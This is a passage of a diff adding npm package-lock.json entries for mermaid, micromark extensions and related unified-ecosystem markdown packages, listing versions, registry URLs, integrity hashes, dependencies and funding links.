"https://registry.npmjs.org/unist-util-visit-parents/-/unist-util-visit-parents-5.1.3.tgz", + "integrity": "sha512-x6+y8g7wWMyQhL1iZfhIPhDAs7Xwbn9nRosDXl7qoPTSCy0yNxnKc+hWokFifWQIDGi154rdUqKvbCa4+1kLhg==", + "dependencies": { + "@types/unist": "^2.0.0", + "unist-util-is": "^5.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/mdast-util-to-string": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/mdast-util-to-string/-/mdast-util-to-string-3.2.0.tgz", + "integrity": "sha512-V4Zn/ncyN1QNSqSBxTrMOLpjr+IKdHl2v3KVLoWmDPscP4r9GcCi71gjgvUV1SFSKh92AjAG4peFuBl2/YgCJg==", + "dependencies": { + "@types/mdast": "^3.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/mermaid": { + "version": "10.9.0", + "resolved": "https://registry.npmjs.org/mermaid/-/mermaid-10.9.0.tgz", + "integrity": "sha512-swZju0hFox/B/qoLKK0rOxxgh8Cf7rJSfAUc1u8fezVihYMvrJAS45GzAxTVf4Q+xn9uMgitBcmWk7nWGXOs/g==", + "dependencies": { + "@braintree/sanitize-url": "^6.0.1", + "@types/d3-scale": "^4.0.3", + "@types/d3-scale-chromatic": "^3.0.0", + "cytoscape": "^3.28.1", + "cytoscape-cose-bilkent": "^4.1.0", + "d3": "^7.4.0", + "d3-sankey": "^0.12.3", + "dagre-d3-es": "7.0.10", + "dayjs": "^1.11.7", + "dompurify": "^3.0.5", + "elkjs": "^0.9.0", + "katex": "^0.16.9", + "khroma": "^2.0.0", + "lodash-es": "^4.17.21", + "mdast-util-from-markdown": "^1.3.0", + "non-layered-tidy-tree-layout": "^2.0.2", + "stylis": "^4.1.3", + "ts-dedent": "^2.2.0", + "uuid": "^9.0.0", + "web-worker": "^1.2.0" + } + }, + "node_modules/micromark": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/micromark/-/micromark-3.2.0.tgz", + "integrity": "sha512-uD66tJj54JLYq0De10AhWycZWGQNUvDI55xPgk2sQM5kn1JYlhbCMTtEeT27+vAhW2FBQxLlOmS3pmA7/2z4aA==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "dependencies": { + "@types/debug": "^4.0.0", + "debug": "^4.0.0", + "decode-named-character-reference": "^1.0.0", + "micromark-core-commonmark": "^1.0.1", + "micromark-factory-space": "^1.0.0", + "micromark-util-character": "^1.0.0", + "micromark-util-chunked": "^1.0.0", + "micromark-util-combine-extensions": "^1.0.0", + "micromark-util-decode-numeric-character-reference": "^1.0.0", + "micromark-util-encode": "^1.0.0", + "micromark-util-normalize-identifier": "^1.0.0", + "micromark-util-resolve-all": "^1.0.0", + "micromark-util-sanitize-uri": "^1.0.0", + "micromark-util-subtokenize": "^1.0.0", + "micromark-util-symbol": "^1.0.0", + "micromark-util-types": "^1.0.1", + "uvu": "^0.5.0" + } + }, + "node_modules/micromark-core-commonmark": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/micromark-core-commonmark/-/micromark-core-commonmark-1.1.0.tgz", + "integrity": "sha512-BgHO1aRbolh2hcrzL2d1La37V0Aoz73ymF8rAcKnohLy93titmv62E0gP8Hrx9PKcKrqCZ1BbLGbP3bEhoXYlw==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "dependencies": { + "decode-named-character-reference": "^1.0.0", + "micromark-factory-destination": "^1.0.0", + "micromark-factory-label": "^1.0.0", + "micromark-factory-space": "^1.0.0", + "micromark-factory-title": "^1.0.0", + "micromark-factory-whitespace": "^1.0.0", + "micromark-util-character": "^1.0.0", + "micromark-util-chunked": "^1.0.0", + "micromark-util-classify-character": "^1.0.0", + "micromark-util-html-tag-name": "^1.0.0", + "micromark-util-normalize-identifier": "^1.0.0", + "micromark-util-resolve-all": "^1.0.0", + "micromark-util-subtokenize": "^1.0.0", + "micromark-util-symbol": "^1.0.0", + "micromark-util-types": "^1.0.1", + "uvu": "^0.5.0" + } + }, + "node_modules/micromark-extension-gfm": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/micromark-extension-gfm/-/micromark-extension-gfm-2.0.3.tgz", + "integrity": "sha512-vb9OoHqrhCmbRidQv/2+Bc6pkP0FrtlhurxZofvOEy5o8RtuuvTq+RQ1Vw5ZDNrVraQZu3HixESqbG+0iKk/MQ==", + "dependencies": { + "micromark-extension-gfm-autolink-literal": "^1.0.0", + "micromark-extension-gfm-footnote": "^1.0.0", + "micromark-extension-gfm-strikethrough": "^1.0.0", + "micromark-extension-gfm-table": "^1.0.0", + "micromark-extension-gfm-tagfilter": "^1.0.0", + "micromark-extension-gfm-task-list-item": "^1.0.0", + "micromark-util-combine-extensions": "^1.0.0", + "micromark-util-types": "^1.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/micromark-extension-gfm-autolink-literal": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/micromark-extension-gfm-autolink-literal/-/micromark-extension-gfm-autolink-literal-1.0.5.tgz", + "integrity": "sha512-z3wJSLrDf8kRDOh2qBtoTRD53vJ+CWIyo7uyZuxf/JAbNJjiHsOpG1y5wxk8drtv3ETAHutCu6N3thkOOgueWg==", + "dependencies": { + "micromark-util-character": "^1.0.0", + "micromark-util-sanitize-uri": "^1.0.0", + "micromark-util-symbol": "^1.0.0", + "micromark-util-types": "^1.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/micromark-extension-gfm-footnote": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/micromark-extension-gfm-footnote/-/micromark-extension-gfm-footnote-1.1.2.tgz", + "integrity": "sha512-Yxn7z7SxgyGWRNa4wzf8AhYYWNrwl5q1Z8ii+CSTTIqVkmGZF1CElX2JI8g5yGoM3GAman9/PVCUFUSJ0kB/8Q==", + "dependencies": { + "micromark-core-commonmark": "^1.0.0", + "micromark-factory-space": "^1.0.0", + "micromark-util-character": "^1.0.0", + "micromark-util-normalize-identifier": "^1.0.0", + "micromark-util-sanitize-uri": "^1.0.0", + "micromark-util-symbol": "^1.0.0", + "micromark-util-types": "^1.0.0", + "uvu": "^0.5.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/micromark-extension-gfm-strikethrough": { + "version": "1.0.7", + "resolved": "https://registry.npmjs.org/micromark-extension-gfm-strikethrough/-/micromark-extension-gfm-strikethrough-1.0.7.tgz", + "integrity": "sha512-sX0FawVE1o3abGk3vRjOH50L5TTLr3b5XMqnP9YDRb34M0v5OoZhG+OHFz1OffZ9dlwgpTBKaT4XW/AsUVnSDw==", + "dependencies": { + "micromark-util-chunked": "^1.0.0", + "micromark-util-classify-character": "^1.0.0", + "micromark-util-resolve-all": "^1.0.0", + "micromark-util-symbol": "^1.0.0", + "micromark-util-types": "^1.0.0", + "uvu": "^0.5.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/micromark-extension-gfm-table": { + "version": "1.0.7", + "resolved": "https://registry.npmjs.org/micromark-extension-gfm-table/-/micromark-extension-gfm-table-1.0.7.tgz", + "integrity": "sha512-3ZORTHtcSnMQEKtAOsBQ9/oHp9096pI/UvdPtN7ehKvrmZZ2+bbWhi0ln+I9drmwXMt5boocn6OlwQzNXeVeqw==", + "dependencies": { + "micromark-factory-space": "^1.0.0", + "micromark-util-character": "^1.0.0", + "micromark-util-symbol": "^1.0.0", + "micromark-util-types": "^1.0.0", + "uvu": "^0.5.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/micromark-extension-gfm-tagfilter": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/micromark-extension-gfm-tagfilter/-/micromark-extension-gfm-tagfilter-1.0.2.tgz", + "integrity": "sha512-5XWB9GbAUSHTn8VPU8/1DBXMuKYT5uOgEjJb8gN3mW0PNW5OPHpSdojoqf+iq1xo7vWzw/P8bAHY0n6ijpXF7g==", + "dependencies": { + "micromark-util-types": "^1.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/micromark-extension-gfm-task-list-item": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/micromark-extension-gfm-task-list-item/-/micromark-extension-gfm-task-list-item-1.0.5.tgz", + "integrity": "sha512-RMFXl2uQ0pNQy6Lun2YBYT9g9INXtWJULgbt01D/x8/6yJ2qpKyzdZD3pi6UIkzF++Da49xAelVKUeUMqd5eIQ==", + "dependencies": { + "micromark-factory-space": "^1.0.0", + "micromark-util-character": "^1.0.0", + "micromark-util-symbol": "^1.0.0", + "micromark-util-types": "^1.0.0", + "uvu": "^0.5.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/micromark-extension-math": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/micromark-extension-math/-/micromark-extension-math-2.1.2.tgz", + "integrity": "sha512-es0CcOV89VNS9wFmyn+wyFTKweXGW4CEvdaAca6SWRWPyYCbBisnjaHLjWO4Nszuiud84jCpkHsqAJoa768Pvg==", + "dependencies": { + "@types/katex": "^0.16.0", + "katex": "^0.16.0", + "micromark-factory-space": "^1.0.0", + "micromark-util-character": "^1.0.0", + "micromark-util-symbol": "^1.0.0", + "micromark-util-types": "^1.0.0", + "uvu": "^0.5.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/micromark-extension-mdx-expression": { + "version": "1.0.8", + "resolved": "https://registry.npmjs.org/micromark-extension-mdx-expression/-/micromark-extension-mdx-expression-1.0.8.tgz", + "integrity": "sha512-zZpeQtc5wfWKdzDsHRBY003H2Smg+PUi2REhqgIhdzAa5xonhP03FcXxqFSerFiNUr5AWmHpaNPQTBVOS4lrXw==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "dependencies": { + "@types/estree": "^1.0.0", + "micromark-factory-mdx-expression": "^1.0.0", + "micromark-factory-space": "^1.0.0", + "micromark-util-character": "^1.0.0", + "micromark-util-events-to-acorn": "^1.0.0", + "micromark-util-symbol": "^1.0.0", + "micromark-util-types": "^1.0.0", + "uvu": "^0.5.0" + } + }, + "node_modules/micromark-extension-mdx-jsx": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/micromark-extension-mdx-jsx/-/micromark-extension-mdx-jsx-1.0.5.tgz", + "integrity": "sha512-gPH+9ZdmDflbu19Xkb8+gheqEDqkSpdCEubQyxuz/Hn8DOXiXvrXeikOoBA71+e8Pfi0/UYmU3wW3H58kr7akA==", + "dependencies": { + "@types/acorn": "^4.0.0", + "@types/estree": "^1.0.0", + "estree-util-is-identifier-name": "^2.0.0", + "micromark-factory-mdx-expression": "^1.0.0", + "micromark-factory-space": "^1.0.0", + "micromark-util-character": "^1.0.0", + "micromark-util-symbol": "^1.0.0", + "micromark-util-types": "^1.0.0", + "uvu": "^0.5.0", + "vfile-message": "^3.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/micromark-extension-mdx-jsx/node_modules/vfile-message": { + "version": "3.1.4", + "resolved": "https://registry.npmjs.org/vfile-message/-/vfile-message-3.1.4.tgz", + "integrity": "sha512-fa0Z6P8HUrQN4BZaX05SIVXic+7kE3b05PWAtPuYP9QLHsLKYR7/AlLW3NtOrpXRLeawpDLMsVkmk5DG0NXgWw==", + "dependencies": { + "@types/unist": "^2.0.0", + "unist-util-stringify-position": "^3.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/micromark-extension-mdx-md": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/micromark-extension-mdx-md/-/micromark-extension-mdx-md-1.0.1.tgz", + "integrity": "sha512-7MSuj2S7xjOQXAjjkbjBsHkMtb+mDGVW6uI2dBL9snOBCbZmoNgDAeZ0nSn9j3T42UE/g2xVNMn18PJxZvkBEA==", + "dependencies": { + "micromark-util-types": "^1.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/micromark-extension-mdxjs": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/micromark-extension-mdxjs/-/micromark-extension-mdxjs-1.0.1.tgz", + "integrity": "sha512-7YA7hF6i5eKOfFUzZ+0z6avRG52GpWR8DL+kN47y3f2KhxbBZMhmxe7auOeaTBrW2DenbbZTf1ea9tA2hDpC2Q==", + "dependencies": { + "acorn": "^8.0.0", + "acorn-jsx": "^5.0.0", + "micromark-extension-mdx-expression": "^1.0.0", + "micromark-extension-mdx-jsx": "^1.0.0", + "micromark-extension-mdx-md": "^1.0.0", + "micromark-extension-mdxjs-esm": "^1.0.0", + "micromark-util-combine-extensions": "^1.0.0", + "micromark-util-types": "^1.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/micromark-extension-mdxjs-esm": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/micromark-extension-mdxjs-esm/-/micromark-extension-mdxjs-esm-1.0.5.tgz", + "integrity": "sha512-xNRBw4aoURcyz/S69B19WnZAkWJMxHMT5hE36GtDAyhoyn/8TuAeqjFJQlwk+MKQsUD7b3l7kFX+vlfVWgcX1w==", + "dependencies": { + "@types/estree": "^1.0.0", + "micromark-core-commonmark": "^1.0.0", + "micromark-util-character": "^1.0.0", + "micromark-util-events-to-acorn": "^1.0.0", + "micromark-util-symbol": "^1.0.0", + "micromark-util-types": "^1.0.0", + "unist-util-position-from-estree": "^1.1.0", + "uvu": "^0.5.0", + "vfile-message": "^3.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/micromark-extension-mdxjs-esm/node_modules/vfile-message": { + "version": "3.1.4", + "resolved": "https://registry.npmjs.org/vfile-message/-/vfile-message-3.1.4.tgz", + "integrity": "sha512-fa0Z6P8HUrQN4BZaX05SIVXic+7kE3b05PWAtPuYP9QLHsLKYR7/AlLW3NtOrpXRLeawpDLMsVkmk5DG0NXgWw==", + "dependencies": { + "@types/unist": "^2.0.0", + "unist-util-stringify-position": "^3.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/micromark-factory-destination": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/micromark-factory-destination/-/micromark-factory-destination-1.1.0.tgz", + "integrity": "sha512-XaNDROBgx9SgSChd69pjiGKbV+nfHGDPVYFs5dOoDd7ZnMAE+Cuu91BCpsY8RT2NP9vo/B8pds2VQNCLiu0zhg==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "dependencies": { + "micromark-util-character": "^1.0.0", + "micromark-util-symbol": "^1.0.0", + "micromark-util-types": "^1.0.0" + } + }, + "node_modules/micromark-factory-label": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/micromark-factory-label/-/micromark-factory-label-1.1.0.tgz", + "integrity": "sha512-OLtyez4vZo/1NjxGhcpDSbHQ+m0IIGnT8BoPamh+7jVlzLJBH98zzuCoUeMxvM6WsNeh8wx8cKvqLiPHEACn0w==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "dependencies": { + "micromark-util-character": "^1.0.0", + "micromark-util-symbol": "^1.0.0", + "micromark-util-types": "^1.0.0", + "uvu": "^0.5.0" + } + }, + "node_modules/micromark-factory-mdx-expression": { + "version": "1.0.9", + "resolved": "https://registry.npmjs.org/micromark-factory-mdx-expression/-/micromark-factory-mdx-expression-1.0.9.tgz", + "integrity": "sha512-jGIWzSmNfdnkJq05c7b0+Wv0Kfz3NJ3N4cBjnbO4zjXIlxJr+f8lk+5ZmwFvqdAbUy2q6B5rCY//g0QAAaXDWA==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "dependencies": { + "@types/estree": "^1.0.0", + "micromark-util-character": "^1.0.0", + "micromark-util-events-to-acorn": "^1.0.0", + "micromark-util-symbol": "^1.0.0", + "micromark-util-types": "^1.0.0", + "unist-util-position-from-estree": "^1.0.0", + "uvu": "^0.5.0", + "vfile-message": "^3.0.0" + } + }, + "node_modules/micromark-factory-mdx-expression/node_modules/vfile-message": { + "version": "3.1.4", + "resolved": "https://registry.npmjs.org/vfile-message/-/vfile-message-3.1.4.tgz", + "integrity": "sha512-fa0Z6P8HUrQN4BZaX05SIVXic+7kE3b05PWAtPuYP9QLHsLKYR7/AlLW3NtOrpXRLeawpDLMsVkmk5DG0NXgWw==", + "dependencies": { + "@types/unist": "^2.0.0", + "unist-util-stringify-position": "^3.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/micromark-factory-space": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/micromark-factory-space/-/micromark-factory-space-1.1.0.tgz", + "integrity": "sha512-cRzEj7c0OL4Mw2v6nwzttyOZe8XY/Z8G0rzmWQZTBi/jjwyw/U4uqKtUORXQrR5bAZZnbTI/feRV/R7hc4jQYQ==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "dependencies": { + "micromark-util-character": "^1.0.0", + "micromark-util-types": "^1.0.0" + } + }, + "node_modules/micromark-factory-title": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/micromark-factory-title/-/micromark-factory-title-1.1.0.tgz", + "integrity": "sha512-J7n9R3vMmgjDOCY8NPw55jiyaQnH5kBdV2/UXCtZIpnHH3P6nHUKaH7XXEYuWwx/xUJcawa8plLBEjMPU24HzQ==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "dependencies": { + "micromark-factory-space": "^1.0.0", + "micromark-util-character": "^1.0.0", + "micromark-util-symbol": "^1.0.0", + "micromark-util-types": "^1.0.0" + } + }, + "node_modules/micromark-factory-whitespace": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/micromark-factory-whitespace/-/micromark-factory-whitespace-1.1.0.tgz", + "integrity": "sha512-v2WlmiymVSp5oMg+1Q0N1Lxmt6pMhIHD457whWM7/GUlEks1hI9xj5w3zbc4uuMKXGisksZk8DzP2UyGbGqNsQ==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "dependencies": { + "micromark-factory-space": "^1.0.0", + "micromark-util-character": "^1.0.0", + "micromark-util-symbol": "^1.0.0", + "micromark-util-types": "^1.0.0" + } + }, + "node_modules/micromark-util-character": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/micromark-util-character/-/micromark-util-character-1.2.0.tgz", + "integrity": "sha512-lXraTwcX3yH/vMDaFWCQJP1uIszLVebzUa3ZHdrgxr7KEU/9mL4mVgCpGbyhvNLNlauROiNUq7WN5u7ndbY6xg==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "dependencies": { + "micromark-util-symbol": "^1.0.0", + "micromark-util-types": "^1.0.0" + } + }, + "node_modules/micromark-util-chunked": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/micromark-util-chunked/-/micromark-util-chunked-1.1.0.tgz", + "integrity": "sha512-Ye01HXpkZPNcV6FiyoW2fGZDUw4Yc7vT0E9Sad83+bEDiCJ1uXu0S3mr8WLpsz3HaG3x2q0HM6CTuPdcZcluFQ==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "dependencies": { + "micromark-util-symbol": "^1.0.0" + } + }, + "node_modules/micromark-util-classify-character": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/micromark-util-classify-character/-/micromark-util-classify-character-1.1.0.tgz", + "integrity": "sha512-SL0wLxtKSnklKSUplok1WQFoGhUdWYKggKUiqhX+Swala+BtptGCu5iPRc+xvzJ4PXE/hwM3FNXsfEVgoZsWbw==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "dependencies": { + "micromark-util-character": "^1.0.0", + "micromark-util-symbol": "^1.0.0", + "micromark-util-types": "^1.0.0" + } + }, + "node_modules/micromark-util-combine-extensions": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/micromark-util-combine-extensions/-/micromark-util-combine-extensions-1.1.0.tgz", + "integrity": "sha512-Q20sp4mfNf9yEqDL50WwuWZHUrCO4fEyeDCnMGmG5Pr0Cz15Uo7KBs6jq+dq0EgX4DPwwrh9m0X+zPV1ypFvUA==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "dependencies": { + "micromark-util-chunked": "^1.0.0", + "micromark-util-types": "^1.0.0" + } + }, + "node_modules/micromark-util-decode-numeric-character-reference": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/micromark-util-decode-numeric-character-reference/-/micromark-util-decode-numeric-character-reference-1.1.0.tgz", + "integrity": "sha512-m9V0ExGv0jB1OT21mrWcuf4QhP46pH1KkfWy9ZEezqHKAxkj4mPCy3nIH1rkbdMlChLHX531eOrymlwyZIf2iw==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "dependencies": { + "micromark-util-symbol": "^1.0.0" + } + }, + "node_modules/micromark-util-decode-string": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/micromark-util-decode-string/-/micromark-util-decode-string-1.1.0.tgz", + "integrity": "sha512-YphLGCK8gM1tG1bd54azwyrQRjCFcmgj2S2GoJDNnh4vYtnL38JS8M4gpxzOPNyHdNEpheyWXCTnnTDY3N+NVQ==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "dependencies": { + "decode-named-character-reference": "^1.0.0", + "micromark-util-character": "^1.0.0", + "micromark-util-decode-numeric-character-reference": "^1.0.0", + "micromark-util-symbol": "^1.0.0" + } + }, + "node_modules/micromark-util-encode": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/micromark-util-encode/-/micromark-util-encode-1.1.0.tgz", + "integrity": "sha512-EuEzTWSTAj9PA5GOAs992GzNh2dGQO52UvAbtSOMvXTxv3Criqb6IOzJUBCmEqrrXSblJIJBbFFv6zPxpreiJw==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ] + }, + "node_modules/micromark-util-events-to-acorn": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/micromark-util-events-to-acorn/-/micromark-util-events-to-acorn-1.2.3.tgz", + "integrity": "sha512-ij4X7Wuc4fED6UoLWkmo0xJQhsktfNh1J0m8g4PbIMPlx+ek/4YdW5mvbye8z/aZvAPUoxgXHrwVlXAPKMRp1w==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "dependencies": { + "@types/acorn": "^4.0.0", + "@types/estree": "^1.0.0", + "@types/unist": "^2.0.0", + "estree-util-visit": "^1.0.0", + "micromark-util-symbol": "^1.0.0", + "micromark-util-types": "^1.0.0", + "uvu": "^0.5.0", + "vfile-message": "^3.0.0" + } + }, + "node_modules/micromark-util-events-to-acorn/node_modules/vfile-message": { + "version": "3.1.4", + "resolved": "https://registry.npmjs.org/vfile-message/-/vfile-message-3.1.4.tgz", + "integrity": "sha512-fa0Z6P8HUrQN4BZaX05SIVXic+7kE3b05PWAtPuYP9QLHsLKYR7/AlLW3NtOrpXRLeawpDLMsVkmk5DG0NXgWw==", + "dependencies": { + "@types/unist": "^2.0.0", + "unist-util-stringify-position": "^3.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/micromark-util-html-tag-name": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/micromark-util-html-tag-name/-/micromark-util-html-tag-name-1.2.0.tgz", + "integrity": "sha512-VTQzcuQgFUD7yYztuQFKXT49KghjtETQ+Wv/zUjGSGBioZnkA4P1XXZPT1FHeJA6RwRXSF47yvJ1tsJdoxwO+Q==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ] + }, + "node_modules/micromark-util-normalize-identifier": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/micromark-util-normalize-identifier/-/micromark-util-normalize-identifier-1.1.0.tgz", + "integrity": "sha512-N+w5vhqrBihhjdpM8+5Xsxy71QWqGn7HYNUvch71iV2PM7+E3uWGox1Qp90loa1ephtCxG2ftRV/Conitc6P2Q==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "dependencies": { + "micromark-util-symbol": "^1.0.0" + } + }, + "node_modules/micromark-util-resolve-all": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/micromark-util-resolve-all/-/micromark-util-resolve-all-1.1.0.tgz", + "integrity": "sha512-b/G6BTMSg+bX+xVCshPTPyAu2tmA0E4X98NSR7eIbeC6ycCqCeE7wjfDIgzEbkzdEVJXRtOG4FbEm/uGbCRouA==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "dependencies": { + "micromark-util-types": "^1.0.0" + } + }, + "node_modules/micromark-util-sanitize-uri": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/micromark-util-sanitize-uri/-/micromark-util-sanitize-uri-1.2.0.tgz", + "integrity": "sha512-QO4GXv0XZfWey4pYFndLUKEAktKkG5kZTdUNaTAkzbuJxn2tNBOr+QtxR2XpWaMhbImT2dPzyLrPXLlPhph34A==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "dependencies": { + "micromark-util-character": "^1.0.0", + "micromark-util-encode": "^1.0.0", + "micromark-util-symbol": "^1.0.0" + } + }, + "node_modules/micromark-util-subtokenize": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/micromark-util-subtokenize/-/micromark-util-subtokenize-1.1.0.tgz", + "integrity": "sha512-kUQHyzRoxvZO2PuLzMt2P/dwVsTiivCK8icYTeR+3WgbuPqfHgPPy7nFKbeqRivBvn/3N3GBiNC+JRTMSxEC7A==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "dependencies": { + "micromark-util-chunked": "^1.0.0", + "micromark-util-symbol": "^1.0.0", + "micromark-util-types": "^1.0.0", + "uvu": "^0.5.0" + } + }, + "node_modules/micromark-util-symbol": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/micromark-util-symbol/-/micromark-util-symbol-1.1.0.tgz", + "integrity": "sha512-uEjpEYY6KMs1g7QfJ2eX1SQEV+ZT4rUD3UcF6l57acZvLNK7PBZL+ty82Z1qhK1/yXIY4bdx04FKMgR0g4IAag==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ] + }, + "node_modules/micromark-util-types": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/micromark-util-types/-/micromark-util-types-1.1.0.tgz", + "integrity": "sha512-ukRBgie8TIAcacscVHSiddHjO4k/q3pnedmzMQ4iwDcK0FtFCohKOlFbaOL/mPgfnPsL3C1ZyxJa4sbWrBl3jg==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ] + }, + "node_modules/mri": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/mri/-/mri-1.2.0.tgz", + "integrity": "sha512-tzzskb3bG8LvYGFF/mDTpq3jpI6Q9wc3LEmBaghu+DdCssd1FakN7Bc0hVNmEyGq1bq3RgfkCb3cmQLpNPOroA==", + "engines": { + "node": ">=4" + } + }, + "node_modules/ms": { + "version": 